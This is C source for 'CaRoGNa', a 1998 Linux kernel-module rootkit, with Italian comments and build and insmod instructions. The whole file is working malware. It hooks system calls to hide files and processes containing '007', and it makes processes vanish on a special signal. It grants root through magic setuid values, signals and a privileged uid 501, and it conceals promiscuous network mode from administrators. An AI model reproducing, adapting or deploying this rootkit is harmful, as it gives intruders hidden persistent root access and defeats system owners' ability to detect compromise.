/* * CaRoGNa.c Implementazione del modulo CaRoGNa. * Per maggiori informazioni leggete gli * articoli relativi al progetto CaRoNTe sui * numeri 3 e 4 di BFI, prelevabile da * http://softpj98.bkk.org/bfi/ * Tecnica Segreta n.1 della divina scuola * dell' HOKUHACKO. Sacro Colpo del Modulo * che Travolge la Radice. * * * assolutamente NO (C)1998 FuSyS * * NOTA: questo modulo e' il frutto del divertimento e della curiosita', * della ricerca della conoscenza sulla via dell' HackerDom. Ogni * utilizzo non corrispondente a queste idee e' VIVAMENTE SCONSIGLIATO. * Questo codice richiede piu' furbizia, impegno e lavoro da parte * del solito ragazzino pieno di scriptz, warez, ed 3l337n355 =:? * man brain per favore. :) * * Compilate con: gcc -c -O2 -fomit-frame-pointer CaRoGNa.c * Installate con: insmod CaRoGNa.o * * 3l33t quote: "wow, e funzica anche su Solaris ?" * * Thanks: HalfLife, Zarq, Plaguez */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #define SUBVISUS "007" #define SIGNIHIL 31 #define FL_DISAPPEAR 0x70000000 #define SACROUID 7777 #define KING 501 #define OPENFILE 6666 #undef fsuser() #define fsuser() ((current->fsuid==0)||(current->fsuid==KING)) inline int suser(void) { if ((current->euid == 0)||(current->euid == KING)) { current->flags |= PF_SUPERPRIV; return 1; } return 0; } int promisc; int (*old_kill) (pid_t, int) ; int (*old_getdents) (unsigned int, struct dirent *, unsigned int) ; int (*old_setuid) (uid_t) ; int (*old_chmod) (const char*, mode_t) ; int (*old_ioctl) (unsigned int, unsigned int, unsigned long) ; int (*old_open) (const char *, int, mode_t) ; extern void *sys_call_table[] ; int atoi(char str[]) { int res = 0; int i ; for(i = 0; str[i] >='0' && str[i] <='9'; ++i) res = 10 * res + str[i] - '0'; return res; } /* /usr/src/linux/fs/proc/array.c */ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /* /usr/src/linux/fs/proc/array.c */ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } int secret(pid_t pid) { struct task_struct *task = get_task(pid); char *name; if (task) { name = (char *)kmalloc(200, GFP_KERNEL); memset(name, 0, 200); task_name(task, name); if (strstr(name, SUBVISUS)!=NULL) { kfree(name); return 1; } } return 0; } int killinv(pid_t pid) { struct task_struct *task = get_task(pid); char *name; if(task == NULL) return 0; if (task->flags & FL_DISAPPEAR) { return 1; } return 0; } int new_getdents (unsigned int fd, struct dirent *dirptr, unsigned int count) { unsigned int real ; unsigned int len ; int readen ; int proc ; struct dirent *dirptr2, *dirptr3; struct inode *procinode; real = (*old_getdents) (fd, dirptr, count); #ifdef __LINUX_DCACHE_H procinode = current->files->fd[fd]->f_dentry->d_inode; #else procinode = current->files->fd[fd]->f_inode; #endif if (procinode->i_ino == PROC_ROOT_INO && !MAJOR(procinode->i_dev) && MINOR(procinode->i_dev) == 1) proc = 1; if (real > 0) { dirptr2 = (struct dirent *)kmalloc(real, GFP_KERNEL); memcpy_fromfs(dirptr2, dirptr, real); dirptr3 = dirptr2; readen = real; while (readen > 0) { len = dirptr3->d_reclen; readen -= len; if ((strstr((char *)&(dirptr3->d_name), (char *)SUBVISUS) !=NULL) || (proc && secret(atoi(dirptr3->d_name))) || (proc && killinv(atoi(dirptr3->d_name)))) { if (readen != 0) memmove(dirptr3, (char *)dirptr3 + dirptr3->d_reclen, readen); else dirptr3->d_off = 1024; real -= len; } if (dirptr3->d_reclen == 0) { real -= readen; readen = 0; } if (readen != 0) dirptr3 = (struct dirent *)((char *) dirptr3 + dirptr3->d_reclen); } memcpy_tofs(dirptr, dirptr2, real); kfree(dirptr2); } return real; } int new_kill(pid_t pid, int sig) { int real; int errno; struct task_struct *task = get_task(pid); if ((sig != SIGNIHIL) && (sig != SIGTSTP)) { real = (*old_kill)(pid, sig); if (real == -1) return(-errno); return real; } if (sig == SIGNIHIL) { task->flags |= FL_DISAPPEAR; return(0); } else if (sig == SIGTSTP) { task->uid = task->gid = task->euid = task->egid = 0; return(real); } } int new_setuid(uid_t uid) { int tmp; if (uid == SACROUID) { current->uid = 0; current->gid = 0; current->euid = 0; current->egid = 0; return 0; } else if (uid == OPENFILE) { current->euid = OPENFILE; return 0; } tmp = (*old_setuid) (uid) ; return tmp; } int new_chmod(const char *filename, mode_t mode) { int ret ; if (current->uid == KING) { current->uid=current->gid=current->fsuid=current->fsgid=0; ret = (*old_chmod) (filename, mode); current->uid=current->gid=current->fsuid=current->fsgid=KING; return ret; } else ret = (*old_chmod) (filename, mode); return ret; } int new_ioctl (unsigned int fd, unsigned int cmd, unsigned long arg) { int ret ; struct ifreq netif ; ret = (*old_ioctl) (fd, cmd, arg); if (cmd == SIOCGIFFLAGS && !promisc) { memcpy_fromfs((struct ifreq *)&netif, (struct ifreq *)arg, sizeof(struct ifreq)); netif.ifr_flags = netif.ifr_flags & (~IFF_PROMISC); memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &netif, sizeof(struct ifreq)); } else if (cmd == SIOCSIFFLAGS) sys_call_table[SYS_ioctl] = old_ioctl; return ret ; } int new_open(const char *pathname, int flags, mode_t mode) { int ret; if (current->euid == OPENFILE) { current->uid=current->gid=current->fsuid=current->fsgid = 0; ret = (*old_open) (pathname, flags, mode); current->uid=current->gid=current->fsuid=current->fsgid=OPENFILE; return ret; } else ret = (*old_open) (pathname, flags, mode); return ret; } int init_module(void) { /* register struct module *mp asm("%ebp"); *(char *) (mp->name) = 0; mp->size = 0; mp->ref = 0; */ register_symtab(NULL); old_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) new_getdents; old_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = (void *) new_kill; old_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) new_setuid; old_chmod = sys_call_table[SYS_chmod]; sys_call_table[SYS_chmod] = (void *) new_chmod; old_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) new_ioctl; old_open = sys_call_table[SYS_open]; sys_call_table[SYS_open] = (void *) new_open; return 0 ; } int cleanup_module(void) { sys_call_table[SYS_getdents] = old_getdents; sys_call_table[SYS_kill] = old_kill; sys_call_table[SYS_setuid] = old_setuid; sys_call_table[SYS_chmod] = old_chmod; sys_call_table[SYS_ioctl] = old_ioctl; sys_call_table[SYS_open] = old_open; }